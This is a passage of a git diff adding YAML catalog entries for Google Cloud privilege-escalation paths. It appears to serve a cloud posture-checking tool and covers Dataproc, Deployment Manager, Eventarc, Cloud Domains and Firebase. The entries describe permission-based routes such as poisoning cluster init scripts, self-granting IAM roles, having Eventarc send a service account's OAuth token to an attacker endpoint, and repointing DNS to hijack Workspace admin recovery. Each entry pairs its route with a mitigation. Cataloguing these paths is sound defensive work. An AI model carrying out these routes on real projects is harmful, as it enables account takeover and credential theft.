connect. + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: conditional + severity: critical + mitigation: Grant actAs only on specific SAs and restrict dataproc.sessions.create. + references: + - https://docs.cloud.google.com/managed-spark/docs/reference/rest/v1/projects.locations.sessions/create + - https://docs.cloud.google.com/managed-spark/docs/concepts/iam-serverless + - https://docs.cloud.google.com/managed-spark/docs/guides/spark-connect-client + notes: Session templates (dataproc.sessionTemplates.create) persist the SA for later sessions; that is persistence and is not a separate edge. + +- id: gcp-dataproc-clusters-setiampolicy + provider: gcp + service: dataproc + title: Self-grant job submission on a Dataproc cluster through its IAM policy + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataproc-privesc.md#dataprocclusterssetiampolicy--self-grant-use-of-a-specific-cluster + source_revision: 171e422 + summary: The source can grant itself use of a running Dataproc cluster, then submit a script it controls as that cluster's service account when it also holds project-level job creation. + requires: + all_of: + - action: dataproc.clusters.setIamPolicy + resource: "*" + - action: dataproc.jobs.create + resource: "*" + target: + kind: gcp_service_account + selector: + gcp_dataproc_cluster_selfgrant_path: true + scope: any + aggregate_as: "SAs of Dataproc clusters whose IAM policy the source controls" + conditions: + - id: policy_read + description: Read access to the cluster IAM policy lets the source preserve its etag while adding the use grant. + - id: script_upload + description: The source needs a place to upload a PySpark script that the running cluster's service account can read. + - id: access_scopes + description: Cluster VMs need the cloud-platform OAuth scope to reach the service account's wider Google Cloud permissions. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Restrict dataproc.clusters.setIamPolicy (roles/dataproc.admin). + references: + - https://docs.cloud.google.com/dataproc/docs/concepts/iam/granular-iam + notes: A cluster-level role does not turn its project-scoped permissions into project grants, so dataproc.jobs.create must already be held at project level (Granular IAM). On a Component Gateway-enabled cluster the self-granted clusters.use alone also reaches the cluster SA (see gcp-dataproc-component-gateway-existing-cluster). No actAs or project-level IAM change needed. jobs.setIamPolicy and workflowTemplates.setIamPolicy are listed by HackTricks too, but a job-level grant does not by itself confer clusters.use, so only the cluster-level self-grant is modelled. + +- id: gcp-dataproc-workflowtemplates-actas + provider: gcp + service: dataproc + title: Run a Dataproc workflow with a chosen service account and initialization action + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataproc-privesc.md#dataprocworkflowtemplatescreate----initialization-actions--template--init-action-tamper-persistence + source_revision: 171e422 + summary: The source can instantiate a managed-cluster workflow, either from a template it creates or inline, that runs a readable initialization script with a chosen service account. + requires: + any_of: + - - action: dataproc.workflowTemplates.create + resource: "*" + - - action: dataproc.workflowTemplates.instantiateInline + resource: "*" + target: + kind: gcp_service_account + selector: + gcp_dataproc_workflow_path: true + scope: any + aggregate_as: "Service accounts usable by managed Dataproc workflows" + conditions: + - id: sa_worker_role + description: The chosen account needs Dataproc worker permissions and read access to the uploaded initialization script; the managed cluster also needs a service agent and usable subnet. + - id: actas_point + description: The caller needs actAs on the chosen account and either create plus instantiate on a new template, or instantiateInline in the same project. + blockers: + - gcp_deny_policy + confidence: conditional + severity: critical + mitigation: Restrict dataproc.workflowTemplates create/update/instantiate and actAs grants. + references: + - https://docs.cloud.google.com/managed-spark/docs/concepts/iam/iam + - https://docs.cloud.google.com/managed-spark/docs/concepts/workflows/overview + - https://docs.cloud.google.com/managed-spark/docs/reference/rest/v1/projects.regions.workflowTemplates/create + - https://docs.cloud.google.com/managed-spark/docs/reference/rest/v1/projects.regions.workflowTemplates/instantiateInline + notes: A complete template can be supplied in the create API request; the multi-command CLI example also needs update. An inline workflow requires only instantiateInline and does not persist a template. The persistence aspect (others instantiating a created template later) is not modelled. + +- id: gcp-dataproc-component-gateway-existing-cluster + provider: gcp + service: dataproc + title: Run notebook code as the service account of an existing Component Gateway-enabled Dataproc cluster + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataproc-privesc.md#component-gateway-jupyter--zeppelin--interactive-code-exec-as-the-cluster-sa-without-jobscreate + source_revision: 171e422 + summary: The source can open a notebook on a running Component Gateway cluster and run code as its VM service account, or as its own mapped account on a secure multi-tenant cluster. + requires: + all_of: + - action: dataproc.clusters.use + resource: "*" + target: + kind: gcp_service_account + selector: + gcp_dataproc_gateway_path: true + scope: any + aggregate_as: "SAs of Component Gateway-enabled Dataproc clusters the source can use" + conditions: + - id: gateway_notebook_enabled + description: A running cluster must have Component Gateway, an enabled notebook component and its URL; the caller needs clusters.get and clusters.use on that exact cluster. + - id: access_scopes + description: The VM must have a broad OAuth scope, or a secure multi-tenant user must have a mapped service account the VM can mint tokens for; personal authentication is unresolved. + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: conditional + severity: high + mitigation: Do not enable Jupyter/Zeppelin with Component Gateway on clusters with privileged SAs, and restrict dataproc.clusters.use. + references: + - https://docs.cloud.google.com/dataproc/docs/concepts/accessing/dataproc-gateways + notes: Google documents dataproc.clusters.use as the permission required to access enabled component web interfaces. No actAs needed; creating a new gateway cluster is covered by gcp-dataproc-clusters-batches-create-actas. + +- id: gcp-dataproc-staging-object-replace + provider: gcp + service: dataproc + title: Control an initialization script used by an existing Dataproc cluster + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataproc-privesc.md#dataprocclustersget--config-leak-sa--scopes--buckets--metadata--properties--staging-bucket-poison + source_revision: 171e422 + summary: The source may run code with a Dataproc cluster VM account if it can replace or restore a referenced initialization script before a new node starts. + requires: + all_of: + - action: storage.objects.create + resource: "{target.dataproc_init_object}" + target: + kind: gcp_service_account + selector: + gcp_dataproc_init_replace_path: true + scope: any + aggregate_as: "SAs of Dataproc clusters loading code from objects the source can replace" + conditions: + - id: reused_object + description: A later legitimate scale-up must load the same referenced initialization script that the caller can replace or restore. + - id: object_protection + description: The caller needs create and, for a live object, delete on the same exact object, without an active hold or retention period; the VM account must still be able to read it. + - id: access_scopes + description: The usable token is limited by the cluster VMs' access scopes. + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: conditional + severity: high + mitigation: Keep referenced Dataproc initialization-action scripts writable only by the cluster owners and the cluster SA. + references: + - https://docs.cloud.google.com/managed-spark/docs/concepts/configuring-clusters/init-actions + - https://docs.cloud.google.com/storage/docs/json_api/v1/objects/insert + - https://docs.cloud.google.com/storage/docs/access-control/iam-permissions + notes: The modeled path requires metadata for the exact referenced initialization-action object and a running cluster. A confirmed missing object may be restored with create alone. The later scale-up is conditional. Job dependencies not named in cluster inventory remain unresolved. diff --git a/src/privilege-escalation-paths-cspm-reviewed/gcp/deploymentmanager.yaml b/src/privilege-escalation-paths-cspm-reviewed/gcp/deploymentmanager.yaml new file mode 100644 index 0000000000..d0383cd64e --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/gcp/deploymentmanager.yaml @@ -0,0 +1,107 @@ +# Active GCP privilege escalation catalog: each entry must show the source principal's permissions and actions leading to a named second principal or to additional effective permissions for the source. A data read or secret access alone is not escalation; credential paths require verified usable credentials tied to the exact target principal. Every active source must cite a GCP privilege-escalation page and the technique's heading anchor. +# GCP Cloud Deployment Manager privilege escalation techniques (legacy; end of support 2026-03-31). +# Source: hacktricks-cloud gcp-privilege-escalation/gcp-deploymentmaneger-privesc.md (rev 171e422). +# Placeholder / selector conventions: see the header of catalog/gcp/iam.yaml. +# Deployments always execute as the Google APIs Service Agent @cloudservices.gserviceaccount.com +# (roles/editor by default). attached_to_service: cloudservices_agent -> that project's Google APIs Service Agent. +# The agent's roles/editor includes actAs but NOT resourcemanager.projects.setIamPolicy, so onward reach (e.g. VMs with +# any project SA) is through the agent node's own edges, not project ownership. +- id: gcp-deploymentmanager-deployments-create + provider: gcp + service: deploymentmanager + title: Create a Deployment Manager deployment executed by the Google APIs Service Agent + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-deploymentmaneger-privesc.md#deploymentmanagerdeploymentscreate--update--deploy-through-the-google-apis-service-agent + source_revision: 171e422 + summary: The source can submit a deployment that uses its project's Google APIs Service Agent to create a VM with a service account the caller cannot attach directly. + requires: + all_of: + - action: deploymentmanager.deployments.create + resource: '*' + target: + kind: gcp_service_account + selector: + gcp_deploymentmanager_create_path: true + scope: same_project + aggregate_as: Google APIs Service Agent of {project} + conditions: + - id: legacy_service + description: The V2 API must be enabled and a prior deployment must establish an existing customer, since new users cannot create a first deployment after 2026-06-30. + - id: agent_roles + description: The exact project-number agent needs VM, startup-script, disk, subnet, image and service-account attachment rights. + - id: indirect_use + description: A ready image, usable subnet, and an attachable project service account must support a VM the caller could not create directly; the source does not receive the agent's token. + - id: gcloud_get + description: The gcloud helper also needs deploymentmanager.deployments.get to finish, but sends the insert before that read, so create alone triggers the deployment. + blockers: + - gcp_deny_policy + confidence: conditional + severity: critical + mitigation: Disable the Deployment Manager API, remove roles/editor from the cloudservices agent where possible and restrict roles/deploymentmanager.editor. + references: + - https://cloud.google.com/deployment-manager/docs/access-control + - https://docs.cloud.google.com/deployment-manager/docs/deprecations + - https://docs.cloud.google.com/compute/docs/reference/rest/v1/instances/insert + notes: The per-deployment credential.serviceAccount field is ignored by the live service (HackTricks), so the identity is always the cloudservices agent. A complete deployment list without current entries cannot disprove historical customer eligibility; that case stays unknown. Other supported resource paths stay unresolved when the concrete VM path is unavailable. +- id: gcp-deploymentmanager-deployments-update + provider: gcp + service: deploymentmanager + title: Update an existing Deployment Manager deployment + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-deploymentmaneger-privesc.md#deploymentmanagerdeploymentscreate--update--deploy-through-the-google-apis-service-agent + source_revision: 171e422 + summary: The source can update an exact existing deployment and use its Google APIs Service Agent to create a VM with a service account the caller cannot attach directly. + requires: + all_of: + - action: deploymentmanager.deployments.update + resource: '*' + target: + kind: gcp_service_account + selector: + gcp_deploymentmanager_update_path: true + scope: same_project + aggregate_as: Google APIs Service Agent of {project} + conditions: + - id: existing_deployment + description: The caller needs get and update on the same listed deployment to retrieve its current fingerprint; deletePolicy=ABANDON can avoid deleting resources omitted from the new config. + - id: legacy_service + description: The enabled V2 API must still serve this existing customer, and the exact service agent must retain a viable downstream VM path. + blockers: + - gcp_deny_policy + confidence: conditional + severity: critical + mitigation: Disable the Deployment Manager API and restrict deploymentmanager.deployments.update. + references: + - https://docs.cloud.google.com/deployment-manager/docs/reference/latest/deployments/update + - https://docs.cloud.google.com/deployment-manager/docs/reference/latest/deployments + notes: A caller with a separately known current fingerprint may use the raw API without deployments.get; that case remains unresolved when the read grant is absent. +- id: gcp-deploymentmanager-deployments-setiampolicy + provider: gcp + service: deploymentmanager + title: Self-grant update on a deployment through its IAM policy + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-deploymentmaneger-privesc.md#deploymentmanagerdeploymentssetiampolicy--self-grant-control-of-one-existing-deployment + source_revision: 171e422 + summary: The source can add itself to an existing deployment's Admin policy, update that deployment, and use its Google APIs Service Agent for a VM path the source lacks directly. + requires: + all_of: + - action: deploymentmanager.deployments.setIamPolicy + resource: '*' + target: + kind: gcp_service_account + selector: + gcp_deploymentmanager_selfgrant_path: true + scope: same_project + aggregate_as: Google APIs Service Agent of {project} + conditions: + - id: grantable_role + description: The caller needs getIamPolicy and setIamPolicy on the same deployment, a complete policy with etag, a grantable Admin role that includes update, and no deny on the gained update permission. + - id: existing_deployment + description: The exact deployment and enabled legacy API must exist; the agent also needs a viable downstream resource path. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Restrict deploymentmanager.deployments.setIamPolicy (Owner, Deployment Manager Admin, Security Admin). + references: + - https://docs.cloud.google.com/deployment-manager/docs/access-control + - https://docs.cloud.google.com/deployment-manager/docs/reference/latest/deployments/getIamPolicy + - https://docs.cloud.google.com/deployment-manager/docs/reference/latest/deployments/setIamPolicy + - https://docs.cloud.google.com/iam/docs/roles-permissions/deploymentmanager diff --git a/src/privilege-escalation-paths-cspm-reviewed/gcp/developerconnect.yaml b/src/privilege-escalation-paths-cspm-reviewed/gcp/developerconnect.yaml new file mode 100644 index 0000000000..32f026d2d8 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/gcp/developerconnect.yaml @@ -0,0 +1,45 @@ +# Active GCP privilege escalation catalog: each entry must show the source principal's permissions and actions leading to a named second principal or to additional effective permissions for the source. A data read or secret access alone is not escalation; credential paths require verified usable credentials tied to the exact target principal. Every active source must cite a GCP privilege-escalation page and the technique's heading anchor. + +# GCP Developer Connect privilege escalation techniques. +# Source: hacktricks-cloud gcp-privilege-escalation/gcp-developer-connect-privesc.md (rev 171e422). +# Placeholder / selector conventions: see the header of catalog/gcp/iam.yaml. attached_to_service: sourcerepo_trigger_consumer is +# defined in securesourcemanager.yaml ("{target.artifact_arn}" here is the Developer Connect gitRepositoryLink). +- id: gcp-developerconnect-readwrite-token-pipeline-poison + provider: gcp + service: developerconnect + title: Write to a linked repository through Developer Connect and poison the pipeline that builds from it + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-developer-connect-privesc.md#fetchreadwritetoken-or-git-proxy-write---poison-a-privileged-repository-driven-pipeline + source_revision: 6fb9ac51fd + summary: The source can write to the exact Developer Connect repository link watched by an enabled Cloud Build push trigger that reads its build configuration from that repository and runs as a more privileged service account. + requires: + any_of: + - - action: developerconnect.gitRepositoryLinks.fetchReadWriteToken + resource: '*' + - - action: developerconnect.gitRepositoryLinks.gitProxyRead + resource: '*' + - action: developerconnect.gitRepositoryLinks.gitProxyWrite + resource: '*' + target: + kind: gcp_service_account + include_service_managed: true + selector: + gcp_developerconnect_pipeline_path: true + scope: any + aggregate_as: Run-as SAs of pipelines building from repositories writable through Developer Connect + conditions: + - id: git_proxy_enabled + description: The gitProxyRead plus gitProxyWrite alternative (roles/developerconnect.gitProxyUser, roles/developerconnect.admin) needs the connection's system Git proxy enabled and its URI known; roles/developerconnect.admin does not contain fetchReadWriteToken. + - id: provider_write_allowed + description: The provider integration must allow writes to the repository, and the triggering ref/file must not be protected by provider branch rules or approvals. + - id: automatic_consumer + description: An enabled Cloud Build push trigger must watch the same exact Developer Connect link, run without approval or a custom filter, and load its build configuration from that repository as an identity with additional permissions. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Restrict fetchReadWriteToken (roles/developerconnect.tokenAccessor) and Git proxy write roles, protect trigger branches in the provider, and require approval on privileged build triggers. + references: + - https://docs.cloud.google.com/developer-connect/docs/access-control + - https://docs.cloud.google.com/developer-connect/docs/api/reference/rest/v1/projects.locations.connections.gitRepositoryLinks/fetchReadWriteToken + - https://docs.cloud.google.com/build/docs/api/reference/rest/v1/projects.locations.triggers + notes: Developer Connect itself runs no code. Provider branch rules and actual repository write access remain conditional. A proxy-only path needs the exact link's collected gitProxyUri; other deployment consumers remain unresolved when their attachment is not collected. diff --git a/src/privilege-escalation-paths-cspm-reviewed/gcp/dlp.yaml b/src/privilege-escalation-paths-cspm-reviewed/gcp/dlp.yaml new file mode 100644 index 0000000000..667266877c --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/gcp/dlp.yaml @@ -0,0 +1,2 @@ +# Active GCP privilege escalation catalog: each entry must show the source principal's permissions and actions leading to a named second principal or to additional effective permissions for the source. A data read or secret access alone is not escalation; credential paths require verified usable credentials tied to the exact target principal. Every active source must cite a GCP privilege-escalation page and the technique's heading anchor. +[] diff --git a/src/privilege-escalation-paths-cspm-reviewed/gcp/domains.yaml b/src/privilege-escalation-paths-cspm-reviewed/gcp/domains.yaml new file mode 100644 index 0000000000..3c7cc6f1d0 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/gcp/domains.yaml @@ -0,0 +1,64 @@ +# Active GCP privilege escalation catalog: each entry must show the source principal's permissions and actions leading to a named second principal or to additional effective permissions for the source. A data read or secret access alone is not escalation; credential paths require verified usable credentials tied to the exact target principal. Every active source must cite a GCP privilege-escalation page and the technique's heading anchor. +# GCP Cloud Domains privilege escalation techniques. +# Source: hacktricks-cloud gcp-post-exploitation/gcp-cloud-domains-post-exploitation.md (rev 171e422). +# Joins ACTIVE registrations to the Workspace customer's recorded primary domain. + +- id: gcp-domains-configuredns-workspace-admin-recovery + provider: gcp + service: domains + title: Repoint a Cloud Domains registration's name servers to recover the Workspace super administrator + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-workspace-privesc.md#cloud-dns-to-workspace-administrator-recovery + source_revision: 4e9b5eaaa6 + summary: The source can obtain the privileges of Workspace super administrators of tenants whose primary domain is a Cloud Domains registration whose DNS settings it can change. + requires: + all_of: + - action: domains.registrations.configureDns + resource: "{target.domain_registration}" + target: + kind: gcp_workspace_user + selector: + gcp_workspace_super_admin_with_registered_domain: true + scope: any + aggregate_as: "Workspace super administrators of domains registered in Cloud Domains" + conditions: + - id: dnssec + description: Published DS records must be removed and aged out first, otherwise the change breaks resolution instead of redirecting it. + - id: recovery_process + description: Depends on Google's administrator-recovery process accepting the DNS domain-verification challenge for the tenant. + - id: attacker_name_servers + description: The source must operate the replacement authoritative name servers. + blockers: [gcp_deny_policy] + confidence: conditional + severity: critical + mitigation: Restrict domains.registrations.configureDns on registrations of Workspace domains and monitor name-server changes and admin-recovery events. + notes: Same end state as gcp-workspace-cloud-dns-admin-recovery, with the registration (not a Cloud DNS zone) as the control point. + +- id: gcp-domains-configuremanagement-transfer-workspace-admin-recovery + provider: gcp + service: domains + title: Transfer a Cloud Domains registration to attempt Workspace administrator recovery + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-workspace-privesc.md#cloud-dns-to-workspace-administrator-recovery + source_revision: 4e9b5eaaa6 + summary: The source can retrieve a transfer authorization code or initiate a push transfer for an eligible Cloud Domains registration. A completed transfer to a controlled registrar could give it DNS control of the matching Workspace customer's primary domain, which may support administrator recovery. + requires: + all_of: + - action: domains.registrations.configureManagement + resource: "{target.domain_registration}" + target: + kind: gcp_workspace_user + selector: + gcp_workspace_super_admin_with_registered_domain: true + scope: any + aggregate_as: "Workspace super administrators of domains registered in Cloud Domains" + conditions: + - id: transfer_eligibility + description: Authorization-code retrieval requires the initial registration to be at least 60 days old. The registration must meet lock, registry and TLD transfer rules; push-transfer TLDs need a receiving registrar tag instead of an authorization code. + - id: receiving_registrar + description: The source must complete any required registrar or registrant confirmation, transfer the domain to a registrar it controls, and publish DNS for the domain. + - id: recovery_process + description: Depends on Google's administrator-recovery process accepting the DNS domain-verification challenge for the tenant. + blockers: [gcp_deny_policy] + confidence: conditional + severity: critical + mitigation: Restrict domains.registrations.configureManagement on registrations of Workspace domains, keep the registrar lock on, and monitor authorization-code retrieval, lock changes and transfer events. + notes: Same end state as gcp-domains-configuredns-workspace-admin-recovery and gcp-workspace-cloud-dns-admin-recovery; the control point is the registrar transfer instead of the name-server setting. diff --git a/src/privilege-escalation-paths-cspm-reviewed/gcp/eventarc.yaml b/src/privilege-escalation-paths-cspm-reviewed/gcp/eventarc.yaml new file mode 100644 index 0000000000..51c1cc3076 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/gcp/eventarc.yaml @@ -0,0 +1,45 @@ +# Active GCP privilege escalation catalog: each entry must show the source principal's permissions and actions leading to a named second principal or to additional effective permissions for the source. A data read or secret access alone is not escalation; credential paths require verified usable credentials tied to the exact target principal. Every active source must cite a GCP privilege-escalation page and the technique's heading anchor. + +# GCP Eventarc privilege escalation techniques. +# Source: hacktricks-cloud gcp-privilege-escalation/gcp-eventarc-privesc.md (rev 171e422). +# Placeholder / selector conventions: see the header of catalog/gcp/iam.yaml. + +- id: gcp-eventarc-pipeline-oauth-token-actas + provider: gcp + service: eventarc + title: Create an Eventarc Advanced pipeline that sends a service account's OAuth token to an attacker endpoint + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-eventarc-privesc.md#eventarcpipelinescreate--iamserviceaccountsactas--receive-an-oauth-token-for-a-service-account + source_revision: 171e422 + summary: A pipeline that uses a service account's OAuth identity could send its access token to a controlled HTTPS receiver, but only after an enrollment routes a matching bus event through that pipeline and the Eventarc service agent can mint the token. + requires: + all_of: + - action: eventarc.pipelines.create + resource: "*" + - action: iam.serviceAccounts.actAs + resource: "{target.email}" + target: + kind: gcp_service_account + selector: + gcp_actas_granted_on_target: true + gcp_eventarc_oauth_pipeline_path: true + scope: any + aggregate_as: "Service accounts reachable through Eventarc pipeline OAuth delivery" + conditions: + - id: enrollment + description: The source must route bus events into the pipeline by creating an enrollment on a usable bus, updating an existing enrollment, or creating a bus that it can publish to. The pipeline and enrollment share a project; all three resources share a region, and the bus may belong to another project. + - id: service_agent_token + description: The pipeline project's Eventarc service agent must hold iam.serviceAccounts.getAccessToken on the selected SA, including an explicit grant when the SA is in another project. + - id: matching_event + description: At least one matching event must traverse the enrollment (a legitimate event, or one injected with eventarc.messageBuses.publish); enrollment, pipeline and bus must share a region. + - id: reachable_receiver + description: The attacker HTTPS endpoint must be reachable from Eventarc (internal endpoints need a network attachment); Google's guidance to use OAuth only for *.googleapis.com is not an enforced host restriction. + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: conditional + severity: critical + mitigation: Grant actAs only on dedicated Eventarc SAs, restrict eventarc.pipelines.create and enrollments, and alert on pipelines with non-googleapis.com OAuth destinations. + references: + - https://docs.cloud.google.com/eventarc/docs/reference/rest/v1/projects.locations.pipelines + - https://docs.cloud.google.com/eventarc/advanced/docs/access-control + notes: The token scope defaults to cloud-platform. roles/eventarc.developer lacks actAs and messageBuses.use. Standard-trigger OIDC tokens are audience-bound and not modelled. diff --git a/src/privilege-escalation-paths-cspm-reviewed/gcp/exact-principal-v5.yaml b/src/privilege-escalation-paths-cspm-reviewed/gcp/exact-principal-v5.yaml new file mode 100644 index 0000000000..667266877c --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/gcp/exact-principal-v5.yaml @@ -0,0 +1,2 @@ +# Active GCP privilege escalation catalog: each entry must show the source principal's permissions and actions leading to a named second principal or to additional effective permissions for the source. A data read or secret access alone is not escalation; credential paths require verified usable credentials tied to the exact target principal. Every active source must cite a GCP privilege-escalation page and the technique's heading anchor. +[] diff --git a/src/privilege-escalation-paths-cspm-reviewed/gcp/firebase_external.yaml b/src/privilege-escalation-paths-cspm-reviewed/gcp/firebase_external.yaml new file mode 100644 index 0000000000..441d5edec0 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/gcp/firebase_external.yaml @@ -0,0 +1,58 @@ +# A signed custom-token path needs reviewed evidence of the exact Firebase user, +# an accepted token exchange, and newly allowed application access. +# Canonical policy: peaso/privesc/catalog_policy.yaml +- id: gcp-firebase-signblob-exact-custom-token-user + provider: gcp + service: firebaseauth + title: Sign a custom token as a project service account and reach one Firebase user + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-firebase-privesc.md#service-account-signing-access--mint-firebase-custom-tokens-with-arbitrary-claims + source_revision: f0f683242a + summary: A principal that can sign a custom Firebase token with a same-project service account may authenticate as an exact UID and gain a named application permission after a successful token exchange. + requires: + all_of: + - action: iam.serviceAccounts.signBlob + resource: '{target.resource}' + target: + kind: gcp_external_principal + selector: + gcp_external_principal_evidence: true + gcp_external_plane: firebase_auth + scope: same_project + outcome: credentials + aggregate_as: Exact Firebase custom-token user with reviewed new access + conditions: + - id: exact_firebase_custom_token_exchange + description: The reviewed record must bind the exact signing service account to the RS256 custom token issuer and subject, the Firebase audience and UID, an accepted exchange for that project, tenant when present, and UID, prior source denial, and a newly allowed application action. + blockers: [] + confidence: conditional + severity: high + mitigation: Restrict service-account signing permissions and validate Firebase custom-token issuance. + notes: ActionResource is the exact signing service account; TargetServiceResource is the exact Firebase project or tenant user. SignedTokenIssuer and SignedTokenSubject must match that account, SignedTokenUid and ExchangeUid must match the target UID, ExchangeProjectId must match the project, and SignedTokenTenantId and ExchangeTenantId must agree when a tenant is used. A signed JWT without accepted Firebase exchange and new authorization is insufficient. + +- id: gcp-firebase-signjwt-exact-custom-token-user + provider: gcp + service: firebaseauth + title: Sign a custom JWT as a project service account and reach one Firebase user + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-firebase-privesc.md#service-account-signing-access--mint-firebase-custom-tokens-with-arbitrary-claims + source_revision: f0f683242a + summary: A principal that can sign a custom Firebase JWT with a same-project service account may authenticate as an exact UID and gain a named application permission after a successful token exchange. + requires: + all_of: + - action: iam.serviceAccounts.signJwt + resource: '{target.resource}' + target: + kind: gcp_external_principal + selector: + gcp_external_principal_evidence: true + gcp_external_plane: firebase_auth + scope: same_project + outcome: credentials + aggregate_as: Exact Firebase custom-token user with reviewed new access + conditions: + - id: exact_firebase_custom_jwt_exchange + description: The reviewed record must bind the exact signing service account to the RS256 custom JWT issuer and subject, the Firebase audience and UID, an accepted exchange for that project, tenant when present, and UID, prior source denial, and a newly allowed application action. + blockers: [] + confidence: conditional + severity: high + mitigation: Restrict service-account signing permissions and validate Firebase custom-token issuance. + notes: ActionResource is the exact signing service account; TargetServiceResource is the exact Firebase project or tenant user. SignedTokenIssuer and SignedTokenSubject must match that account, SignedTokenUid and ExchangeUid must match the target UID, ExchangeProjectId must match the project, and SignedTokenTenantId and ExchangeTenantId must agree when a tenant is used. A signed JWT without accepted Firebase exchange and new authorization is insufficient. diff --git a/src/privilege-escalation-paths-cspm-reviewed/gcp/firebaseapphosting.yaml b/src/privilege-escalation-paths-cspm-reviewed/gcp/firebaseapphosting.yaml new file mode 100644 index 0000000000..4920188e1b --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/gcp/firebaseapphosting.yaml @@ -0,0 +1,74 @@ +# Active GCP privilege escalation catalog: each entry must show the source principal's permissions and actions leading to a named second principal or to additional effective permissions for the source. A data read or secret access alone is not escalation; credential paths require verified usable credentials tied to the exact target principal. Every active source must cite a GCP privilege-escalation page and the technique's heading anchor. + +# GCP Firebase App Hosting privilege escalation techniques. +# Source: hacktricks-cloud gcp-privilege-escalation/gcp-firebase-app-hosting-privesc.md (rev 171e422). +# Placeholder / selector conventions: see the header of catalog/gcp/iam.yaml. +# attached_to_service: firebase_apphosting_backend -> the serviceAccount configured on an existing App Hosting backend +# ("{target.host_resource}"), used for its builds and its Cloud Run runtime. + +- id: gcp-firebaseapphosting-backends-update-actas + provider: gcp + service: firebaseapphosting + title: Switch an App Hosting backend's runtime identity to a chosen service account + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-firebase-app-hosting-privesc.md#backend-hijack--repoint-source-or-runtime-identity + source_revision: 4e9b5eaaa6 + summary: The source can set a target service account as the identity of one existing App Hosting backend it can update, build, and roll out. The selected account must be ready to build and run attacker-controlled code. + requires: + all_of: + - action: iam.serviceAccounts.actAs + resource: "{target.email}" + target: + kind: gcp_service_account + selector: + gcp_actas_granted_on_target: true + gcp_firebase_apphosting_retarget: true + scope: same_project + aggregate_as: "Service accounts settable as Firebase App Hosting backend identity in {project}" + conditions: + - id: code_delivery + description: An existing active backend must permit update, build creation and rollout creation on that exact backend. The target account must have the App Hosting Compute Runner role; an equivalent custom role is left unresolved. The build must use an attacker-controlled compatible Artifact Registry image or source archive, including a usable external signed archive URL. + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: conditional + severity: high + mitigation: Restrict firebaseapphosting.backends.update and grant actAs only on dedicated App Hosting SAs. + references: + - https://firebase.google.com/docs/reference/apphosting/rest/v1/projects.locations.backends + - https://firebase.google.com/docs/reference/apphosting/rest/v1/projects.locations.backends.builds + - https://docs.cloud.google.com/iam/docs/roles-permissions/firebaseapphosting +- id: gcp-firebaseapphosting-build-rollout-existing-backend + provider: gcp + service: firebaseapphosting + title: Deploy an image to an existing Firebase App Hosting backend and run as its service account + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-firebase-app-hosting-privesc.md#firebaseapphostingbuildscreate--firebaseapphostingrolloutscreate--deploy-an-image-as-an-existing-backend-identity + source_revision: 171e422 + summary: The source can obtain the privileges of the service account of every Firebase App Hosting backend on which it can create builds and rollouts, without iam.serviceAccounts.actAs. + requires: + all_of: + - action: firebaseapphosting.builds.create + resource: '{target.host_resource}' + - action: firebaseapphosting.rollouts.create + resource: '{target.host_resource}' + target: + kind: gcp_service_account + selector: + attached_to_service: firebase_apphosting_backend + scope: any + aggregate_as: SAs of Firebase App Hosting backends the source can deploy to + conditions: + - id: controlled_build_source + description: The build must use a compatible attacker-controlled Artifact Registry image or source archive, including a usable external signed archive URL, and the rollout must actuate successfully. + - id: backend_change_separate + description: Changing the backend identity needs firebaseapphosting.backends.update plus actAs on the new SA; not required here. + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: conditional + severity: high + mitigation: Restrict roles/firebaseapphosting.developer and give App Hosting backends least-privilege service accounts. + references: + - https://firebase.google.com/docs/reference/apphosting/rest/v1/projects.locations.backends + - https://firebase.google.com/docs/reference/apphosting/rest/v1/projects.locations.backends.builds + - https://docs.cloud.google.com/iam/docs/roles-permissions/firebaseapphosting + notes: Both permissions must hold on one exact active backend and are in roles/firebaseapphosting.developer. The backend's recorded serviceAccount is used for Cloud Build and Cloud Run. No new actAs grant is required for its existing identity; a cross-project account may be reached only when already attached to that backend. diff --git a/src/privilege-escalation-paths-cspm-reviewed/gcp/hypercomputecluster.yaml b/src/privilege-escalation-paths-cspm-reviewed/gcp/hypercomputecluster.yaml new file mode 100644 index 0000000000..bca288bbb2 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/gcp/hypercomputecluster.yaml @@ -0,0 +1,43 @@ +# Active GCP privilege escalation catalog: each entry must show the source principal's permissions and actions leading to a named second principal or to additional effective permissions for the source. A data read or secret access alone is not escalation; credential paths require verified usable credentials tied to the exact target principal. Every active source must cite a GCP privilege-escalation page and the technique's heading anchor. +# GCP Cluster Director (hypercomputecluster) privilege escalation techniques. +# Source: hacktricks-cloud 